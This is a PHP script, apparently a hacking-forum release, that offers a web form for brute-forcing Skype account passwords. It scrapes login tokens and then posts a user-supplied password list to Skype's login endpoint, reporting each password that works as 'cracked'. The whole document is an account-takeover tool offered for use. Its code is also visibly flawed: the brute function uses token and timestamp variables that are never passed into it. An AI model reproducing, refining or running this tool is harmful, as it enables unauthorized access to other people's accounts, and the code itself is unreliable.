Skype Brute Force PHP Version

<form method='POST'>
<title>Skype Brute Force 2013 By xSecurity</title>
<center>
<img src='http://www.promusicacademy.com/wp-content/uploads/2012/11/Skype-icon.png'><br>
<input type='text' name='skypename' placeholder='Skype Name' size='38'><br>
<textarea rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br>
<input type='submit' value='Start Brute' name='brute'><br>
</center>
</form>
<?
        @set_time_limit(0);
        # Brute Force Skype PHP Version
        # Coded By : xSecurity
        # Greets To : (( Sec4ever.CoM )) - (( x3 Group )) - (( is-sec.CoM ))


        $skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
        # Username & Password
        $username = $_POST['skypename'];
        $password = explode("\r\n", $_POST['passwords']);

        # time zone
   $time = date_default_timezone_set("Asia/Riyadh");
        $date = date('H:i:s'); //Returns IST

        # header
        $header = "HTTP/1.1 302";

        # Fucntion Detalis
        function xsecurity($skype)
        {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $skype);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HEADER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $run = curl_exec($ch);
                preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
                preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
                preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
                return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];
        }

        # Explode Detalis
        $xsec = explode("|:|" ,xsecurity($skype));
        $token = $xsec[0];
        $pie = $xsec[1];
        $etm = $xsec[2];

        # Function Brute
        function brute($skype,$username,$pass,$header)
        {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $skype);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HEADER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
                curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $brute = curl_exec($ch);
                if(strstr($brute, $header))
                {
                        echo "<font face='Tahoma' size='2'><center>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></font></center>";
                }
                return $brute;
        }
        if($_POST['brute'])
        {
                foreach($password as $pass)
                {
                        brute($skype,$username,$pass,$header);
                }
        }
        echo "<center><br><font face='Tahoma' size='5' color='red'>Coded By : xSecurity --> Sec4ever.CoM</font></center>";
?>